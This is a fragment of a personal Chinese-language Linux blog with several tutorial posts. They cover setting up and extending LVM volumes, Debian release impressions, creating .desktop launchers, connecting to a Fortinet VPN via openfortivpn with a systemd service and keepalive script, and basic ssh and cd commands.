Solaris Disk /dev/vdb: 5 GiB, 5368709120 bytes, 10485760 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes 由 第一項 與 第二項 可以得知這次要處理的硬碟為 /dev/vdb。\n計劃分割表 # 執行硬碟分割 1 sudo gdisk /dev/vdb 詳細資訊\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 sudo gdisk /dev/vdb GPT fdisk (gdisk) version 1.0.3 Partition table scan: MBR: not present BSD: not present APM: not present GPT: not present Creating new GPT entries. Command (? for help): ? b back up GPT data to a file c change a partition\u0026#39;s name d delete a partition i show detailed information on a partition l list known partition types n add a new partition o create a new empty GUID partition table (GPT) p print the partition table q quit without saving changes r recovery and transformation options (experts only) s sort partitions t change a partition\u0026#39;s type code v verify disk w write table to disk and exit x extra functionality (experts only) ? print this menu Command (? for help): n Partition number (1-128, default 1): 1 First sector (34-10485726, default = 2048) or {+-}size{KMGTP}: Last sector (2048-10485726, default = 10485726) or {+-}size{KMGTP}: Current type is \u0026#39;Linux filesystem\u0026#39; Hex code or GUID (L to show codes, Enter = 8300): Changed type of partition to \u0026#39;Linux filesystem\u0026#39; Command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): y OK; writing new GUID partition table (GPT) to /dev/vdb. The operation has completed successfully. 檢查硬碟資訊 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ❯ sudo fdisk -l # 列出所有的硬碟狀況 Disk /dev/vda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x1d8cb10f Device Boot Start End Sectors Size Id Type /dev/vda1 * 2048 39942143 39940096 19G 83 Linux /dev/vda2 39944190 41940991 1996802 975M 5 Extended /dev/vda5 39944192 41940991 1996800 975M 82 Linux swap / Solaris Disk /dev/vdb: 5 GiB, 5368709120 bytes, 10485760 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: A03E9FA4-9352-451B-A944-0D32AAD6D44B Device Start End Sectors Size Type /dev/vdb1 2048 10485726 10483679 5G Linux filesystem 錯誤訊息: gdisk: command not found # 錯誤資訊 1 2 ❯ sudo gdisk /dev/vdb sudo: gdisk: command not found 解決方式 1 sudo apt install gdisk 新增 physical volume # 1 sudo pvcreate /dev/vdb1 執行結果 1 2 $ sudo pvcreate /dev/vdb1 Physical volume \u0026#34;/dev/vdb1\u0026#34; successfully created. 錯誤訊息: pvcreate: command not found # 錯誤資訊 1 2 sudo pvcreate /dev/vdb1 sudo: pvcreate: command not found 解決方式 1 sudo apt install lvm2 新增 Volume Group # 1 sudo vgcreate -s 4M test-pv-1 /dev/vdb1 執行結果 1 2 $ sudo vgcreate -s 16M test-pv-1 /dev/vdb1 Volume group \u0026#34;test-pv-1\u0026#34; successfully created 檢查 Volume Group 可以配置的大小 # 1 sudo vgdisplay test-pv-1 執行結果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ❯ sudo vgdisplay test-pv-1 --- Volume group --- VG Name test-pv-1 System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 1 Act PV 1 VG Size 4.98 GiB PE Size 16.00 MiB Total PE 319 Alloc PE / Size 0 / 0 Free PE / Size 319 / 4.98 GiB VG UUID 1LkB0A-Perm-1vIV-NsMr-DjSc-Cww0-BB7XsY 將 Volume Group 可用的空間加入 Logical Volume # 1 sudo lvcreate -L 4.98G -n test-lv test-pv-1 執行結果 1 2 3 $ sudo lvcreate -L 4.98G -n test-lv test-pv-1 Rounding up size to full physical extent 4.98 GiB Logical volume \u0026#34;test-lv\u0026#34; created. 硬碟分割 # 檢查路徑 1 sudo lvdisplay 執行結果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ❯ sudo lvdisplay --- Logical volume --- LV Path /dev/test-pv-1/test-lv LV Name test-lv VG Name test-pv-1 LV UUID T0V5dm-tnLT-EpyZ-LnWM-FSfL-u2r1-xzZ2cs LV Write Access read/write LV Creation host, time pollochangVM, 2022-09-20 23:37:16 +0800 LV Status available # open 0 LV Size 4.98 GiB Current LE 319 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 執行分割 1 sudo mkfs.ext4 /dev/test-pv-1/test-lv 執行結果 1 2 3 4 5 6 7 8 9 10 11 $ sudo mkfs.ext4 /dev/test-pv-1/test-lv mke2fs 1.44.5 (15-Dec-2018) Creating filesystem with 1306624 4k blocks and 327040 inodes Filesystem UUID: 9d305794-a97f-46a8-b484-6a59748915d7 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done 掛載硬碟 # 新增掛載目錄 1 sudo mkdir -p /test-disk 嘗試掛載硬碟 1 sudo mount /dev/test-pv-1/test-lv /test-disk 檢查掛載狀況 1 2 3 4 5 6 $ df -h Filesystem Size Used Avail Use% Mounted on udev 479M 0 479M 0% /dev tmpfs 99M 3.0M 96M 4% /run /dev/vda1 19G 1.5G 17G 9% / /dev/mapper/test--pv--1-test--lv 4.9G 24K 4.6G 1% /test-disk 查詢硬碟UUID 1 sudo blkid 執行結果 1 2 ❯ sudo blkid /dev/mapper/test--pv--1-test--lv: UUID=\u0026#34;9d305794-a97f-46a8-b484-6a59748915d7\u0026#34; TYPE=\u0026#34;ext4\u0026#34; 寫入fstab 1 UUID=ce5d3900-4b84-4ee9-bca5-a9af99ee67c6 /centos-repo ext4 defaults 0 1 重開機檢查 如果文章內容有錯，請不吝色請教 m)(.__.)(m)Thank you.\n刪除LVM\nlvremove /dev/ol/ol-swap\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/008-%E6%96%B0%E5%A2%9E%E7%A1%AC%E7%A2%9F-lvm/","section":"Posts","summary":"我的Linux生活日記 08-LVM-新增硬碟-LVM # Physical Drivers / Partitions / PV(Physical Volume) / VG(Volume Group) / LV(Logical Volume) 的相互關係 # ","title":"我的Linux生活日記 08-LVM-新增硬碟-LVM","type":"post"},{"content":" 我的Linux生活日記 09-LVM-新增硬碟到原本的LVM中 # 昨天有新增一塊LVM test-lv，今天我們要新增一塊 1GB 硬碟並規劃在 test-lv 裡進行線上擴容。\n情境敘述 # 新增一開硬碟，並且把空間放置在已經存在的 Logical Volume 中。\n步驟 # 虛擬機新增硬碟 取得硬碟資訊，確認實際要格式化那一顆硬碟 計劃分割表 新增 physical volume 擴充 Volume Group 進行 LV 擴充 虛擬機新增硬碟 # 取得硬碟資訊，確認實際要格式化那一顆硬碟 # 取得目前掛載資訊 1 2 3 4 5 6 7 8 9 10 $ sudo df -h # 檢查目前的硬碟狀況 Filesystem Size Used Avail Use% Mounted on udev 478M 0 478M 0% /dev tmpfs 99M 3.0M 96M 4% /run /dev/vda1 19G 1.5G 17G 9% / tmpfs 494M 0 494M 0% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 494M 0 494M 0% /sys/fs/cgroup /dev/mapper/test--pv--1-test--lv 4.9G 24K 4.6G 1% /test-disk tmpfs 99M 0 99M 0% /run/user/1000 列出硬碟所有資訊 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 $ sudo fdisk -l # 列出所有的硬碟狀況 Disk /dev/vda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x1d8cb10f Device Boot Start End Sectors Size Id Type /dev/vda1 * 2048 39942143 39940096 19G 83 Linux /dev/vda2 39944190 41940991 1996802 975M 5 Extended /dev/vda5 39944192 41940991 1996800 975M 82 Linux swap / Solaris Disk /dev/vdb: 5 GiB, 5368709120 bytes, 10485760 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: A03E9FA4-9352-451B-A944-0D32AAD6D44B Device Start End Sectors Size Type /dev/vdb1 2048 10485726 10483679 5G Linux filesystem Disk /dev/vdc: 1 GiB, 1073741824 bytes, 2097152 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/mapper/test--pv--1-test--lv: 5 GiB, 5351931904 bytes, 10452992 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes 由 第一項 與 第二項 可以得知這次要處理的硬碟為 /dev/vdc。\n計劃分割表 # 檢查完之後一樣先規劃分割計畫。\n執行硬碟分割 1 sudo gdisk /dev/vdc 詳細資訊 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $ sudo gdisk /dev/vdc GPT fdisk (gdisk) version 1.0.3 Partition table scan: MBR: not present BSD: not present APM: not present GPT: not present Creating new GPT entries. Command (? for help): n Partition number (1-128, default 1): First sector (34-2097118, default = 2048) or {+-}size{KMGTP}: Last sector (2048-2097118, default = 2097118) or {+-}size{KMGTP}: Current type is \u0026#39;Linux filesystem\u0026#39; Hex code or GUID (L to show codes, Enter = 8300): Changed type of partition to \u0026#39;Linux filesystem\u0026#39; Command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): y OK; writing new GUID partition table (GPT) to /dev/vdc. The operation has completed successfully. 檢查硬碟資訊 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 $ sudo fdisk -l # 列出所有的硬碟狀況 Disk /dev/vda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x1d8cb10f Device Boot Start End Sectors Size Id Type /dev/vda1 * 2048 39942143 39940096 19G 83 Linux /dev/vda2 39944190 41940991 1996802 975M 5 Extended /dev/vda5 39944192 41940991 1996800 975M 82 Linux swap / Solaris Disk /dev/vdb: 5 GiB, 5368709120 bytes, 10485760 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: A03E9FA4-9352-451B-A944-0D32AAD6D44B Device Start End Sectors Size Type /dev/vdb1 2048 10485726 10483679 5G Linux filesystem Disk /dev/vdc: 1 GiB, 1073741824 bytes, 2097152 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 5A7BACE7-A982-45A4-A577-D4039E0A605D Device Start End Sectors Size Type /dev/vdc1 2048 2097118 2095071 1023M Linux filesystem Disk /dev/mapper/test--pv--1-test--lv: 5 GiB, 5351931904 bytes, 10452992 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes 規劃完之後發現 /dev/vdc1 就是剛剛切出來的新鮮硬碟啦！\n新增 physical volume # 再來是新增一塊 physical volume\n1 sudo pvcreate /dev/vdc1 1 2 $ sudo pvcreate /dev/vdc1 Physical volume \u0026#34;/dev/vdc1\u0026#34; successfully created. 擴充 Volume Group # 把新增的 physical volume 加入至昨天新增的 Volume Group test-pv-1 中\n1 sudo vgextend test-pv-1 /dev/vdc1 執行結果 1 2 $ sudo vgextend test-pv-1 /dev/vdc1 Volume group \u0026#34;test-pv-1\u0026#34; successfully extended 如果依開始不清楚要加入到那一塊 physical volume 可以先查詢\n1 2 3 4 5 6 $ sudo lvdisplay --- Logical volume --- LV Path /dev/test-pv-1/test-lv LV Name test-lv VG Name test-pv-1 # 這邊可以得知要擴充的 physical volume ... 內容省略 進行 LV 擴充 # 檢查要擴充的 LV Path 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ sudo lvdisplay --- Logical volume --- LV Path /dev/test-pv-1/test-lv LV Name test-lv VG Name test-pv-1 LV UUID T0V5dm-tnLT-EpyZ-LnWM-FSfL-u2r1-xzZ2cs LV Write Access read/write LV Creation host, time pollochangVM, 2022-09-20 23:37:16 +0800 LV Status available # open 1 LV Size 4.98 GiB Current LE 319 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 執行 在這邊我把新增硬碟空間位置通通加進去。\n1 sudo lvextend -l+100%FREE /dev/test-pv-1/test-lv 執行結果 1 2 3 $ sudo lvextend -l+100%FREE /dev/test-pv-1/test-lv Size of logical volume test-pv-1/test-lv changed from 4.98 GiB (319 extents) to \u0026lt;5.97 GiB (382 extents). Logical volume test-pv-1/test-lv successfully resized. 調整檔案系統大小 1 sudo resize2fs -p /dev/test-pv-1/test-lv 如果磁碟格式是 xfs 需要用 xfs_growfs\n1 sudo xfs_growfs /dev/test-pv-1/test-lv 執行結果 1 2 3 4 5 $ sudo resize2fs -p /dev/test-pv-1/test-lv resize2fs 1.44.5 (15-Dec-2018) Filesystem at /dev/test-pv-1/test-lv is mounted on /test-disk; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/test-pv-1/test-lv is now 1564672 (4k) blocks long. 檢查 1 2 3 $ sudo df -h # 檢查目前的硬碟狀況 Filesystem Size Used Avail Use% Mounted on /dev/mapper/test--pv--1-test--lv 5.8G 24K 5.5G 1% /test-disk 可以比對一開始的結果發現容量有增加 1GB。\n如果文章內容有錯，請不吝色請教 m)(.__.)(m)Thank you.\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/009-lvm-%E6%96%B0%E5%A2%9E%E7%A1%AC%E7%A2%9F%E5%88%B0%E5%8E%9F%E6%9C%AC%E7%9A%84lvm%E4%B8%AD/","section":"Posts","summary":"我的Linux生活日記 09-LVM-新增硬碟到原本的LVM中 # 昨天有新增一塊LVM test-lv，今天我們要新增一塊 1GB 硬碟並規劃在 test-lv 裡進行線上擴容。\n","title":"我的Linux生活日記 09-LVM-新增硬碟到原本的LVM中","type":"post"},{"content":" 我的Linux生活日記 10-Debian 使用心得 # 最近工作忙炸了，所以我厚臉皮用很久以前的文章檔一下～\n心得 # 當初會接觸Debian 這個作業系統是因為我想找一個穩定的發行板，也確實Debian 相比Ubuntu 穩定很多，很少在更新作業系統後出現問題。\n踏入Debian 初期，常常發現有驅動軟體安裝不了，例如：intel wifi 、nVidia 顯卡驅動程式等等。後來才發現是這個自由社群的政策，同時也漸漸理解何謂是 free、none-free。但對於一個一個平凡的使用者來說，可以順順的用就好了，\n後來也有嘗試使用test版本。Test 版本也算穩定，我自己是在筆記型電腦安裝 bookworm 測試版本。在某次的更新過後，出現了藍芽無法啟用、新酷音輸入法無法輸入注音，對於把筆電當作生產力工具的我是無法忍受的事情，最後只能安裝Debian buster。\n下列是 Debian buster 、Debian bullseye 、Debian bookworm 一點心得\nDebian buster # 這個版本我覺的是三個中，最穩定的版本。穩定其實也是預設的軟體相對比較舊所換來的。如果要使用比較新穎的功能就無法。\n目前，這個版本比較適合安裝在我自己的生產力筆記型電腦中，因為這三者中是最穩定的。\nDebian bullseye # 目前我自己的工作主機是使用這個版本，會挑這個版本原因是我有買較新的硬體設備(2011.02自己組的主機)，在這個版本自帶的驅動程式比 buster 相較穩定。\nDebian bookworm # 在我的筆記型電腦有一段時間是安裝這個版本。會挑選這個主因是看上 Gnome 40 自帶的觸控版操做模式，但是目前正在測試階段，在某次更新後藍芽、注音輸入法接無法操作後就安裝回 buster 版本。\n但不得不說這個版本在筆電上有很好的電耗比，我曾經在電池滿格狀況下忘記關機，待機一天也只掉50%，而在 buster 卻掉了80%。\n等到 bookworm 轉為 stable 時，我會想升級到這個版本。\n以上是我使用 Debian 一點小小心得。繼續加班 m)\u0026hellip;QAQ\u0026hellip;(m\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/010-debian%E4%BD%BF%E7%94%A8%E5%BF%83%E5%BE%97/","section":"Posts","summary":"我的Linux生活日記 10-Debian 使用心得 # 最近工作忙炸了，所以我厚臉皮用很久以前的文章檔一下～\n","title":"我的Linux生活日記 10-Debian 使用心得","type":"post"},{"content":" 我的Linux生活日記 11.將非安裝軟體新增到程式清單 # 在現實工作中，有許多軟體釋免安裝的，例如：iReport、kettle、intellij idea。\n大多數免安裝軟體的啟動方式都會在軟體的 bin 資料夾中找到類似 start.sh 的檔案，這時候只需要在終端機下 bash [軟體根目錄]/bin/start.sh 就可以啟動了。\n但是看到Gome 的華麗桌面難道Linux 不可以向 Windows 一樣在程式清單新增啟動程式的小圖案，方便在使用過程中找出程式？\n答案是可以的，只要在下列目錄新增文件就可以。\n/usr/share/applications 是顯示在所有使用者的顯示清單中。 ~/.local/share/applications 只會縣市在當前使用者的程式清單中。 在上述目錄底下新增 [xxxxx.desktop] 系統就會自動新增程式捷徑到程式單清單中。\n這次我以 kettle 軟體當範例：\n首先直接新增一個捷徑配置檔 PentahoDataIntegration.desktop\n1 sudo vim /usr/share/applications/PentahoDataIntegration.desktop 輸入以下內容:\n1 2 3 4 5 6 7 8 9 10 [Desktop Entry] Version=1.0 # 指這份文件的版本 Type=Application # [必須填] Name=PentahoData # [必須填]要顯示的程式說明 Path=/usr/local/etc/data-integration Icon=/usr/local/etc/data-integration/spoon.ico # 要顯示的icon Exec=/usr/local/etc/data-integration/spoon.sh # 要執行的檔案位址，當type 是 Application 才會有意義 Comment=PentahoData # 說明 Categories=Development;IDE;ETL; # 程式歸類 Terminal=false 結果如圖\n將非安裝軟體新增到程式清單 上述範例只是我比較常用的詳細的話可以閱讀Desktop Entry Specification這篇\n參考資料 # Desktop Entry创建Linux程序的快捷方式 Kyunban\nfreedesktop.org\nDesktop Entry Specification\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/011-%E5%B0%87%E9%9D%9E%E5%AE%89%E8%A3%9D%E8%BB%9F%E9%AB%94%E6%96%B0%E5%A2%9E%E5%88%B0%E7%A8%8B%E5%BC%8F%E6%B8%85%E5%96%AE/","section":"Posts","summary":"我的Linux生活日記 11.將非安裝軟體新增到程式清單 # 在現實工作中，有許多軟體釋免安裝的，例如：iReport、kettle、intellij idea。\n","title":"我的Linux生活日記 11.將非安裝軟體新增到程式清單","type":"post"},{"content":" 我的Linux生活日記 12.老闆要我連VPN-FrotiClient # 之前在工作中時有遇到要安裝VPN 端點工具，而VPN 的環境是用 Forticlient 實踐的。在官方網站中也有針對 Linux 開發，所以只需要去官方下載Linux 版本就可以了！怎樣，是不是比想像中還要簡單呀！\nFrotiClient # 下載 # FrotiClient 下載\n在這邊我們直接下載 僅限 FortiClient VPN 就可以了。\n然後針對Linux 是 Debian 還是 RedHat 系列下載對應的軟體包，我是Debain 所以就下載 .deb。\n安裝 # 1 $ sudo apt install ./forticlient_vpn_7.0.0.0018_amd64.deb 設定連線 # 安裝完成之後，開始 fortiClient 連線視窗，依VPN 伺服器的設定就可以了。\n或是帥氣的下指令也是可以\n新增連線 1 2 3 4 5 6 7 8 9 10 $ /opt/forticlient/fortivpn edit my_vpn_name ===================== Create new VPN profile: my_vpn_name ===================== Remote Gateway: xxx.xxx.xxx.xxx Port [default=443]: xxx Authentication (1.prompt / 2.save / 3.disable) [default=1]: 2 Username: xxxxx Client Certificate (.p12 file URL) [default=None]: Do not Warn Invalid Server Certificate (y/n) [default=n]: y 使用連線 1 /opt/forticlient/fortivpn connect my_vpn_name 錯誤訊息 # Cannot autolaunch D-Bus without X11 $DISPLAY # 當初我在伺服器上安裝 VPN 端點時就出現這個問題。\n錯誤的起手勢 解決思路很簡單，without X11 就是說沒有 GUI 的套件呀！就安裝就好了！然後就把肥大的桌面系統安裝起來～把20GB 的雲端虛擬磁碟空間吃滿～ 然後再跟老闆說磁碟空間不夠趕快買！\n最後就被炒魷魚了\n正確起手勢 檢視問題思路：\n為什麼在我的 Linux 開發環境沒有出現這種錯誤訊息？ 因為雲端虛擬機是最小安裝，不會有桌面視窗軟體。而 FrotiClient 是建立在 GUI 中開發的，所以 X11 套件是必要，但是磁碟空間又很小要怎辦？ 使用老闆的鈔能力\n尋找替代方案。 通常我遇到的問題有百分之 99.9999 都是別人遇過的，問 Googole Cannot autolaunch D-Bus without X11 $DISPLAY forticlient 就會得到答案。解決方式是使用: openfortivpn 。\nopenfortivpn # 為了在最小安裝環境中解決 FortiClient 無法連，必須得安裝 openfortivpn\n安裝 openfortivpn # 請養成不使用的軟體就移除或不安裝的習慣，先移除 forticlient 吧！\n1 2 sudo apt remove forticlient sudo apt autoremove 1 sudo apt install openfortivpn 設定連線 # 測試連線 1 sudo openfortivpn xxx.xxx.xxx.xxx:xxx -u xxxx 第一次連線有可會遇到錯訊息\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 $ sudo openfortivpn xxx.xxx.xxx.xxx:xxx -u xxxx WARN: Bad port in config file: \u0026#34;0\u0026#34;. VPN account password: ERROR: Gateway certificate validation failed, and the certificate digest in not in the local whitelist. If you trust it, rerun with: ERROR: --trusted-cert [連線憑證] ERROR: or add this line to your config file: ERROR: trusted-cert = [連線憑證] ERROR: Gateway certificate: ERROR: subject: ERROR: C=US ERROR: ST=California ERROR: L=Sunnyvale ERROR: O=Fortinet ERROR: OU=FortiGate ERROR: CN=xxxxxxxxxxxxx ERROR: emailAddress=???@mail.com ERROR: issuer: ERROR: C=US ERROR: ST=California ERROR: L=Sunnyvale ERROR: O=Fortinet ERROR: OU=Certificate Authority ERROR: CN=??? ERROR: emailAddress=???@mail.com ERROR: sha256 digest: ERROR: [連線憑證] INFO: Closed connection to gateway. ERROR: Gateway certificate validation failed, and the certificate digest in not in the local whitelist. If you trust it, rerun with: ERROR: --trusted-cert [連線憑證] ERROR: or add this line to your config file: ERROR: trusted-cert = [連線憑證] ERROR: Gateway certificate: ERROR: subject: ERROR: C=US ERROR: ST=California ERROR: L=Sunnyvale ERROR: O=Fortinet ERROR: OU=FortiGate ERROR: CN=xxxxxxxxxxxxx ERROR: emailAddress=???@mail.com ERROR: issuer: ERROR: C=US ERROR: ST=California ERROR: L=Sunnyvale ERROR: O=Fortinet ERROR: OU=Certificate Authority ERROR: CN=??? ERROR: emailAddress=???@mail.com ERROR: sha256 digest: ERROR: [連線憑證] INFO: Could not log out. 再一次執行 1 sudo openfortivpn xxx.xxx.xxx.xxx:xxx -u xxxx --trusted-cert [連線憑證] 執行結果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ sudo openfortivpn xxx.xxx.xxx.xxx:xxx -u xxxx --trusted-cert [連線憑證] WARN: Bad port in config file: \u0026#34;0\u0026#34;. VPN account password: INFO: Connected to gateway. INFO: Authenticated. INFO: Remote gateway has allocated a VPN. INFO: Got addresses: [xyx.xyx.xyx.xyx], ns [0.0.0.0, 0.0.0.0] INFO: negotiation complete INFO: Got addresses: [xyx.xyx.xyx.xyx], ns [0.0.0.0, 0.0.0.0] INFO: negotiation complete INFO: negotiation complete INFO: Interface ppp0 is UP. INFO: Setting new routes... WARN: Route to gateway exists already. INFO: Adding VPN nameservers... INFO: Tunnel is up and running. 看到 Tunnel is up and running. 代表已經連接成功了！接下來連線就是每次人工下啦！但是\u0026hellip;剛剛我是說在雲端主機上耶！怎麽辦？\n當然是寫成文件直接執行啦！\n編寫設定文件 # /etc/openfortivpn/config 這份文件是 openforticlient 的預設腳本，但是我的命運總是多喘的，我有早上連接A VPN 晚上連 B VPN 的需求，總不能我每天上午6點起床設定一次，下午下班前再設定一次是多累人的事，要是這樣我就摔碗說：請別人做。老子不幹了！\n編寫 A文件 : /etc/openfortivpn/vpn1.conf 1 sudo openfortivpn -c /etc/openfortivpn/vpn1.conf 執行測試 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ sudo openfortivpn -c /etc/openfortivpn/vpn1.conf INFO: Connected to gateway. INFO: Authenticated. INFO: Remote gateway has allocated a VPN. INFO: Got addresses: [xyx.xyx.xyx.xyx], ns [0.0.0.0, 0.0.0.0] INFO: negotiation complete INFO: negotiation complete INFO: Interface ppp0 is UP. INFO: Setting new routes... WARN: Route to gateway exists already. INFO: Adding VPN nameservers... INFO: Tunnel is up and running. INFO: Cancelling threads... INFO: Setting ppp interface down. INFO: Restoring routes... INFO: Removing VPN nameservers... INFO: pppd: The link was terminated by the modem hanging up. INFO: Terminated pppd. INFO: Closed connection to gateway. INFO: Logged out. 寫成服務 /etc/systemd/system/openfortivpn-vpn1.service\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [Unit] Description=OpenFortiVPN for vpn1 After=network-online.target Documentation=man:openfortivpn(1) [Service] Type=simple PrivateTmp=true ExecStartPre=/usr/bin/sleep 30 # 等待網路服務完成啟動 ExecStartPre=/usr/bin/ping -q -c3 -w60 8.8.4.4 # 檢查網路有通 ExecStart=/bin/openfortivpn -c /etc/openfortivpn/vpn1.conf # 執行VPN 服務 OOMScoreAdjust=-100 [Install] WantedBy=multi-user.target 這邊設定我需要說明一下配置，因為網路服務並不會一開機就執行，所以必須等待網路服務完成啟動再執行。\n啟動服務 1 sudo systemctl start openfortivpn-vpn1 測試 1 2 3 4 5 6 7 8 $ ping xxx.xxx.xxx.xxx PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx) 56(84) bytes of data. 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=63 time=79.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=63 time=49.9 ms ^C --- xxx.xxx.xxx.xxx ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 2ms rtt min/avg/max/mdev = 49.931/64.537/79.144/14.608 ms 設定開機時啟動 1 sudo systemctl enable openfortivpn-vpn1 設定 keepAlive # 在 forticlient Server 有設定閒置連線逾時強制離線，我記得預設是4 分鐘。所以必須設定 keepAlive。\n我的處理方式是設定排程每分鐘ping VPN 裡面的一台主機解決。\n/usr/local/bin/checkVPN.sh\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/bin/bash export check; if ! /usr/bin/ping -c 1 -q xxx.xxx.xxx.xxx \u0026gt; /dev/null then check=\u0026#34;Y\u0026#34;; else check=\u0026#34;N\u0026#34;; fi # echo $check if [ \u0026#34;$check\u0026#34; = \u0026#34;N\u0026#34; ] then systemctl restart openfortivpn-vpn1 fi crontab -e\n1 */10 * * * * /usr/local/bin/checkVPN.sh; 參考資料 # Linux 使用 openfortivpn 連線至 Fortinet VPN 伺服器建立 PPP+SSL VPN 教學與範例\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/012-%E8%80%81%E9%97%86%E8%A6%81%E6%88%91%E9%80%A3vpn-froticlient/","section":"Posts","summary":"我的Linux生活日記 12.老闆要我連VPN-FrotiClient # 之前在工作中時有遇到要安裝VPN 端點工具，而VPN 的環境是用 Forticlient 實踐的。在官方網站中也有針對 Linux 開發，所以只需要去官方下載Linux 版本就可以了！怎樣，是不是比想像中還要簡單呀！\n","title":"我的Linux生活日記 12.老闆要我連VPN-FrotiClient","type":"post"},{"content":" 我的Linux生活日記 13.常用指令(一) # 學習Linux 當中，用圖形界面是我依開始接觸的起步方式，但是我當初會接觸Linux 的原因是工作關係，加上在網路上的資源大多數是以CLI 為操作界面，所以如何透過文字界面操作就變成我在學習路上必經的過程。\n其實，在處理一些重複的事情，透過指令方式會比透過圖形界面來的有效率，例如：上傳檔案到不同的主機上。前提得學會如何下指令，接下來這邊就介紹在日常生活中常用的指令。\n登入系統 ssh # 在Linux 世界中，登入方式很長透過SSH 服務登入，指令如下：\n1 2 3 # ssh [userName]@[ip] -p [port] jameschang@JamesChangNB:~$ ssh pollochang@192.168.56.3 -p 22 pollochang@192.168.56.3\u0026#39;s password: ssh 就是只透過 ssh 協定連接要遠端的主機\npollochang 就是使用者帳號\n192.168.56.3 是你要登入主機的IP\n-p 22 指透過阜號 22 登入，不過這邊通常不用特別定，預設就是22 port。\n按下 enter 之後就會進行登入，有連接成功後對方的系統就會要求你輸入登入密碼啦～\n登入成功就會進入這個畫面\n1 2 3 4 5 6 7 8 9 10 ****Linux pollochangWorking 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 25 17:58:40 2021 from 192.168.56.1 pollochang@pollochangWorking:~$ 打開目錄 cd # 登入主機後，系統會自動到使用者的家目錄。\n1 pollochang@pollochangWorking:~$ 輸入 pwd 就可以知道你目前的絕對路徑\n1 2 pollochang@pollochangWorking:~$ pwd pollochang@pollochangWorking:~$ 